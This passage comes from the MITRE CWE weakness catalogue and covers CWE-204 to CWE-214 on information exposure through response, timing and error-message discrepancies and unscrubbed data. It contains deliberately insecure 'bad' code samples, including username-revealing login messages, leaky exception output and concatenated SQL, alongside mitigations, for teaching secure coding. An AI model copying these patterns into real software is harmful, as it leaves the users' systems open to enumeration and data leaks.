*Example Language:**(result)*`"Login Failed - incorrect username or password"`**Example 2:**

Non-uniform processing time causes timing channel.

*Example Language:**(bad)*

Suppose an algorithm for implementing an encryption routine works fine per se, but the time taken to output the result of the encryption routine depends on a relationship between the input plaintext and the key (e.g., suppose, if the plaintext is similar to the key, it would run very fast).

In the example above, an attacker may vary the inputs, then observe differences between processing times (since different plaintexts take different time). This could be used to infer information about the key.

*Example Language:**(good)*

Artificial delays may be added to ensure all calculations take equal time to execute.

Example 3:

Suppose memory access patterns for an encryption routine are dependent on the secret key.

An attacker can recover the key by knowing if specific memory locations have been accessed or not. The value stored at those memory locations is irrelevant. The encryption routine's memory accesses will affect the state of the processor cache. If cache resources are shared across contexts, after the encryption routine completes, an attacker in different execution context can discover which memory locations the routine accessed by measuring the time it takes for their own memory accesses to complete.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2020-8695 | Observable discrepancy in the RAPL interface for some Intel processors allows information disclosure. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8695 |
| CVE-2002-2094 | This, and others, use "." attacks and monitor error responses, so there is overlap with directory traversal. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2094 |
| CVE-2001-1483 | Enumeration of valid usernames based on inconsistent responses https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1483 |
| CVE-2001-1528 | Account number enumeration via inconsistent responses. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1528 |
| CVE-2004-2150 | User enumeration via discrepancies in error messages. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2150 |
| CVE-2005-1650 | User enumeration via discrepancies in error messages. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1650 |
| CVE-2004-0294 | Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0294 |
| CVE-2004-0243 | Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0243 |

CWE-204: Observable Response Discrepancy

| | |
|---------------------------|----------------------------|
| Weakness ID : 204 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.

Extended Description

This issue frequently occurs during authentication, where a difference in failed-login messages could allow an attacker to determine if the username is valid or not. These exposures can be inadvertent (bug) or intentional (design).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|------------------------|------|
| ChildOf |  | 203 | Observable Discrepancy | 486 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|-------------------------------|------|
| MemberOf |  | 199 | Information Management Errors | 2029 |

Applicable Platforms

Language : Language-Independent (Prevalence = Undetermined)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Read Application Data | |
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

Demonstrative Examples

Example 1:

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

Example Language: Perl

(bad)

```
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
{
    if (IsValidPassword($username, $password) == 1)
    {
        print "Login Successful";
    }
    else
    {
        print "Login Failed - incorrect password";
    }
}
else
{
    print "Login Failed - unknown username";
}
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

Example Language:

(result)

"Login Failed - incorrect username or password"

Observed Examples

CWE-205: Observable Behavioral Discrepancy

Weakness ID : 205

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product's behaviors indicate important differences that may be observed by unauthorized actors in a way that reveals (1) its internal state or decision process, or (2) differences from other products with equivalent functionality.

Extended Description

Ideally, a product should provide as little information about its internal operations as possible. Otherwise, attackers could use knowledge of these internal operations to simplify or optimize their attack. In some cases, behavioral discrepancies can be used by attackers to form a side channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-206: Observable Internal Behavioral Discrepancy

| | |
|------------------------------|----------------------------|
| Weakness ID : 206 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The product performs multiple behaviors that are combined to produce a single result, but the individual behaviors are observable separately in a way that allows attackers to reveal internal state or internal decision points.

Extended Description

Ideally, a product should provide as little information as possible to an attacker. Any hints that the attacker may be making progress can then be used to simplify or optimize the attack. For example, in a login procedure that requires a username and password, ultimately there is only one decision: success or failure. However, internally, two separate actions are performed: determining if the username exists, and checking if the password is correct. If the product behaves differently based on whether the username exists or not, then the attacker only needs to concentrate on the password.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-----------------------------------|------|
| ChildOf |  | 205 | Observable Behavioral Discrepancy | 494 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Read Application Data | |
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations

Setup generic response pages for error conditions. The error page should not disclose information about the success or failure of a sensitive operation. For instance, the login page should not confirm that the login is correct and the password incorrect. The attacker who tries random account name may be able to guess some of them. Confirming that the account exists would make the login page more susceptible to brute force attack.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2002-2031 | File existence via infoleak monitoring whether "onerror" handler fires or not. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2031 |
| CVE-2005-2025 | Valid groupname enumeration via behavioral infoleak (sends response if valid, doesn't respond if not). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2025 |
| CVE-2001-1497 | Behavioral infoleak in GUI allows attackers to distinguish between alphanumeric and non-alphanumeric characters in a password, thus reducing the search space. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1497 |
| CVE-2003-0190 | Product immediately sends an error message when user does not exist instead of waiting until the password is provided, allowing username enumeration. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0190 |

CWE-207: Observable Behavioral Discrepancy With Equivalent Products

Weakness ID : 207

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The product operates in an environment in which its existence or specific identity should not be known, but it behaves differently than other products with equivalent functionality, in a way that is observable to an attacker.

Extended Description

For many kinds of products, multiple products may be available that perform the same functionality, such as a web server, network interface, or intrusion detection system. Attackers often perform "fingerprinting," which uses discrepancies in order to identify which specific product is in use. Once the specific product has been identified, the attacks can be made more customized and efficient.

Often, an organization might intentionally allow the specific product to be identifiable. However, in some environments, the ability to identify a distinct product is unacceptable, and it is expected that every product would behave in exactly the same way. In these more restricted environments, a behavioral difference might pose an unacceptable risk if it makes it easier to identify the product's vendor, model, configuration, version, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-208: Observable Timing Discrepancy

| | |
|---------------------------|---------------------------|
| Weakness ID : 208 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.

Extended Description

In security-relevant contexts, even small variations in timing can be exploited by attackers to indirectly infer certain details about the product's internal operations. For example, in some cryptographic algorithms, attackers can use timing differences to infer certain properties about a private key, making the key easier to guess. Timing discrepancies effectively form a timing side channel.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-209: Generation of Error Message Containing Sensitive Information

Weakness ID : 209

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software generates an error message that includes sensitive information about its environment, users, or associated data.

Extended Description

The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more serious attacks. The error message may be created in different ways:

- self-generated: the source code explicitly constructs the error message and delivers it
- externally-generated: the external environment, such as a language interpreter, handles the error and constructs its own message, whose contents are not under direct control by the programmer

An attacker may use the contents of error messages to help launch another, more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of ".." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Read Application Data <i>Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.</i> | |

Detection Methods

Manual Analysis

This weakness generally requires domain-specific interpretation using manual analysis. However, the number of potential error conditions may be too large to cover completely within limited time constraints.

Effectiveness = High

Automated Analysis

Automated methods may be able to detect certain idioms automatically, such as exposed stack traces or pathnames, but violation of business rules or privacy requirements is not typically feasible.

Effectiveness = Moderate

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Error conditions may be triggered with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Potential Mitigations

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

Phase: Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.

Phase: Implementation

Strategy = Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness = Defense in Depth

This makes it easier to spot places in the code where data is being used that is unencrypted.

Phase: Implementation**Phase: Build and Compilation**

Strategy = Compilation or Build Hardening

Debugging information should not make its way into a production release.

Phase: Implementation**Phase: Build and Compilation**

Strategy = Environment Hardening

Debugging information should not make its way into a production release.

Phase: System Configuration

Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the `display_errors` setting during configuration, or at runtime using the `error_reporting()` function.

Phase: System Configuration

Create default error pages or messages that do not leak any information.

Demonstrative Examples**Example 1:**

In the following example, sensitive information might be printed depending on the exception that occurs.

Example Language: Java

(bad)

```
try {
    .../
}
catch (Exception e) {
    System.out.println(e);
}
```

If an exception related to SQL is handled by the catch, then the output might contain sensitive information such as SQL query structure or private information. If this output is redirected to a web user, this may represent a security problem.

Example 2:

This code tries to open a database connection, and prints any exceptions that occur.

Example Language: Java

(bad)

```
try {
    openDbConnection();
}
```

```

}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
    echo 'Caught exception: ', $e->getMessage(), "\n";
    echo 'Check credentials in config file at: ', $MySQL_config_location, "\n";
}

```

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

Example 3:

The following code generates an error message that leaks the full pathname of the configuration file.

Example Language: Perl

(bad)

```

$ConfigDir = "/home/myprog/config";
$username = GetUserInput("username");
# avoid CWE-22, CWE-78, others.
ExitError("Bad hacker!") if ($uname !~ /\w+$/);
$file = "$ConfigDir/$uname.txt";
if (! (-e $file)) {
    ExitError("Error: $file does not exist");
}
...

```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a \$file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.

Example 4:

In the example below, the method `getUserBankAccount` retrieves a bank account object from a database using the supplied username and account number to query the database. If an `SQLException` is raised when querying the database, an error message is created and output to a log file.

Example Language: Java

(bad)

```

public BankAccount getUserBankAccount(String username, String accountNumber) {
    BankAccount userAccount = null;
    String query = null;
    try {
        if (isAuthorizedUser(username)) {
            query = "SELECT * FROM accounts WHERE owner = "
                + username + " AND accountID = " + accountNumber;
            DatabaseManager dbManager = new DatabaseManager();
            Connection conn = dbManager.getConnection();
            Statement stmt = conn.createStatement();
            ResultSet queryResult = stmt.executeQuery(query);
            userAccount = (BankAccount)queryResult.getObject(accountNumber);
        }
    } catch (SQLException ex) {
        String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
        Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
    }
    return userAccount;
}

```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

Observed Examples

| Reference | Description |
|-------------------------|--|
| CVE-2008-2049 | POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2049 |

Weakness ID : 210

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software identifies an error condition and creates its own diagnostic or error messages that contain sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 209 | Generation of Error Message Containing Sensitive Information | 499 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|----------------|------|
| MemberOf |  | 1016 | Limit Exposure | 2147 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------|------------|
| Confidentiality | Read Application Data | |

Potential Mitigations

Phase: Implementation

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Debugging information should not make its way into a production release.

Phase: Implementation

Phase: Build and Compilation

Strategy = Environment Hardening

Debugging information should not make its way into a production release.

Demonstrative Examples

Example 1:

The following code uses custom configuration files for each user in the application. It checks to see if the file exists on the system before attempting to open and use the file. If the configuration file does not exist, then an error is generated, and the application exits.

Example Language: Perl

(bad)

```
$uname = GetUserInfo("username");
# avoid CWE-22, CWE-78, others.
if ($uname !~ /\w+$/)
{
    ExitError("Bad hacker!");
}
```

```
$filename = "/home/myprog/config/" . $uname . ".txt";
if (!(-e $filename))
{
    ExitError("Error: $filename does not exist");
}
```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that is not associated with a configuration file, an attacker could get this pathname from the error message. It could then be used to exploit path traversal, symbolic link following, or other problems that may exist elsewhere in the application.

Observed Examples

CWE-211: Externally-Generated Error Message Containing Sensitive Information

| | |
|---------------------------|----------------------------|
| Weakness ID : 211 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The application performs an operation that triggers an external diagnostic or error message that is not directly generated or controlled by the application, such as an error generated by the programming language interpreter that the software uses. The error can contain sensitive system information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|--|------|
| ChildOf |  | 209 | Generation of Error Message Containing Sensitive Information | 499 |
| ParentOf |  | 535 | Exposure of Information Through Shell Error Message | 1139 |
| ParentOf |  | 536 | Servlet Runtime Error Message Containing Sensitive Information | 1139 |
| ParentOf |  | 537 | Java Runtime Error Message Containing Sensitive Information | 1140 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|----------------|------|
| MemberOf |  | 1016 | Limit Exposure | 2147 |

Weakness Ordinalities**Resultant :****Applicable Platforms****Language :** PHP (*Prevalence = Often*)**Language :** Language-Independent (*Prevalence = Undetermined*)**Common Consequences**

| Scope | Impact | Likelihood |
|-----------------|-----------------------|------------|
| Confidentiality | Read Application Data | |

Potential Mitigations**Phase: System Configuration**

Configure the application's environment in a way that prevents errors from being generated. For example, in PHP, disable `display_errors`.

Phase: Implementation**Phase: Build and Compilation**

Strategy = Compilation or Build Hardening

Debugging information should not make its way into a production release.

Phase: Implementation**Phase: Build and Compilation**

Strategy = Environment Hardening

Debugging information should not make its way into a production release.

Phase: Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user. Create default error pages if necessary.

Phase: Implementation

The best way to prevent this weakness during implementation is to avoid any bugs that could trigger the external error message. This typically happens when the program encounters fatal errors, such as a divide-by-zero. You will not always be able to control the use of error pages, and you might not be using a language that handles exceptions.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2004-1581 | chain: product does not protect against direct request of an include file, leading to resultant path disclosure when the include file does not successfully execute. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1581 |
| CVE-2004-1579 | Single "" inserted into SQL query leads to invalid SQL query execution, triggering full path disclosure. Possibly resultant from more general SQL injection issue. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1579 |
| CVE-2005-0459 | chain: product does not protect against direct request of a library file, leading to resultant path disclosure when the file does not successfully execute. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0459 |
| CVE-2005-0443 | invalid parameter triggers a failure to find an include file, leading to infoleak in error message. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0443 |
| CVE-2005-0433 | Various invalid requests lead to information leak in verbose error messages describing the failure to instantiate a class, open a configuration file, or execute an undefined function. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0433 |
| CVE-2004-1101 | Improper handling of filename request with trailing "/" causes multiple consequences, including information leak in Visual Basic error message. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1101 |

Functional Areas

- Error Handling

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer

Weakness ID : 212

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors.

Extended Description

Resources that may contain sensitive data include documents, packets, messages, databases, etc. While this data may be useful to an individual user or small set of users who share the resource, it may need to be removed before the resource can be shared outside of the trusted group. The process of removal is sometimes called cleansing or scrubbing.

For example, software that is used for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Read Files or Directories Read Application Data | |

| Scope | Impact | Likelihood |
|-------|--|------------|
| | <i>Sensitive data may be exposed to an unauthorized actor in another control sphere. This may have a wide range of secondary consequences which will depend on what data is exposed. One possibility is the exposure of system data allowing an attacker to craft a specific, more effective attack.</i> | |

Potential Mitigations

Phase: Requirements

Clearly specify which information should be regarded as private or sensitive, and require that the product offers functionality that allows the user to cleanse the sensitive information from the resource before it is published or exported to other parties.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Phase: Implementation

Strategy = Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness = Defense in Depth

This makes it easier to spot places in the code where data is being used that is unencrypted.

Phase: Implementation

Avoid errors related to improper resource shutdown or release (CWE-404), which may leave the sensitive data within the resource if it is in an incomplete state.

Demonstrative Examples

Example 1:

This code either generates a public HTML user information page or a JSON response containing the same user information.

Example Language: PHP

(bad)

```
// API flag, output JSON if set
$json = $_GET['json']
$username = $_GET['user']
if(!$json)
{
    $record = getUserRecord($username);
    foreach($record as $fieldName => $fieldValue)
    {
        if($fieldName == "email_address") {
            // skip displaying user emails
            continue;
        }
        else{
            writeToHtmlPage($fieldName,$fieldValue);
        }
    }
}
```

```
}  
}  
else  
{  
    $record = getUserRecord($username);  
    echo json_encode($record);  
}
```

The programmer is careful to not display the user's e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user's e-mail address.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2005-0406 | Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0406 |
| CVE-2002-0704 | NAT feature in firewall leaks internal IP addresses in ICMP error messages. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0704 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|-----|--------------------------------------|-----|------|
| MemberOf | C | 808 | 2010 Top 25 - Weaknesses On the Cusp | 800 | 2072 |

| MemberOf | V | 884 | CWE Cross-section | 884 | 2230 |
| MemberOf | C | 963 | SFP Secondary Cluster: Exposed Data | 888 | 2117 |

Notes

Relationship

This entry is intended to be different from resultant information leaks, including those that occur from improper buffer initialization and reuse, improper encryption, interaction errors, and multiple interpretation errors. This entry could be regarded as a privacy leak, depending on the type of information that is leaked.

Relationship

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

Terminology

The terms "cleansing" and "scrubbing" have multiple uses within computing. In information security, these are used for the removal of sensitive data, but they are also used for the modification of incoming/outgoing data so that it conforms to specifications.

CWE-213: Exposure of Sensitive Information Due to Incompatible Policies**Weakness ID :** 213**Status:** Draft**Structure :** Simple**Abstraction :** Base**Description**

The product's intended functionality exposes information to certain actors in accordance with the developer's security policy, but this information is regarded as sensitive according to the intended security policies of other stakeholders such as the product's administrator, users, or others whose information is being processed.

Extended Description

When handling information, the developer must consider whether the information is regarded as sensitive by different stakeholders, such as users or administrators. Each stakeholder effectively has its own intended security policy that the product is expected to uphold. When a developer does not treat that information as sensitive, this can introduce a vulnerability that violates the expectations of the product's users.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 200 | Exposure of Sensitive Information to an Unauthorized Actor | 474 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|-------------------------------|------|
| MemberOf |  | 199 | Information Management Errors | 2029 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------|------------|
| Confidentiality | Read Application Data | |

Demonstrative Examples**Example 1:**

This code displays some information on a web page.

Example Language: JSP

(bad)

```
Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>
```

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.

| MemberOf |  | 1348 | OWASP Top Ten 2021 Category A04:2021 - Insecure Design | 1344 | 2207 |

Notes

Maintenance

This entry is being considered for deprecation. It overlaps many other entries related to information exposures. It might not be essential to preserve this entry, since other key stakeholder policies are covered elsewhere, e.g. personal privacy leaks (CWE-359) and system-level exposures that are important to system administrators (CWE-497).

Theoretical

In vulnerability theory terms, this covers cases in which the developer's Intended Policy allows the information to be made available, but the information might be in violation of a Universal Policy in which the product's administrator should have control over which information is considered sensitive and therefore should not be exposed.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|----------------------|---------|-----|---------------------------|
| PLOVER | | | Intended information leak |

CWE-214: Invocation of Process Using Visible Sensitive Information

Weakness ID : 214

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

A process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system.

Extended Description

Many operating systems allow a user to list information about processes that are owned by other users. Other users could see information such as command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 497 | Exposure of Sensitive System Information to an Unauthorized Control Sphere | 1093 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|----------------|------|
| MemberOf |  | 1016 | Limit Exposure | 2147 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|-------------------------------|------|
| MemberOf |  | 199 | Information Management Errors | 2029 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------|------------|
| Confidentiality | Read Application Data | |

Demonstrative Examples

Example 1:

In the example below, the password for a keystore file is read from a system property.

Example Language: Java

(bad)

```
String keystorePass = System.getProperty("javax.net.ssl.keyStorePassword");
if (keystorePass == null) {
    System.err.println("ERROR: Keystore password not specified.");
    System.exit(-1);
}
...
```

If the property is defined on the command line when the program is invoked (using the `-D...` syntax), the password may be displayed in the OS process list.

Observed Examples

CWE-215: Insertion of Sensitive Information Into Debugging Code

| | |
|---------------------------|-----------------------|
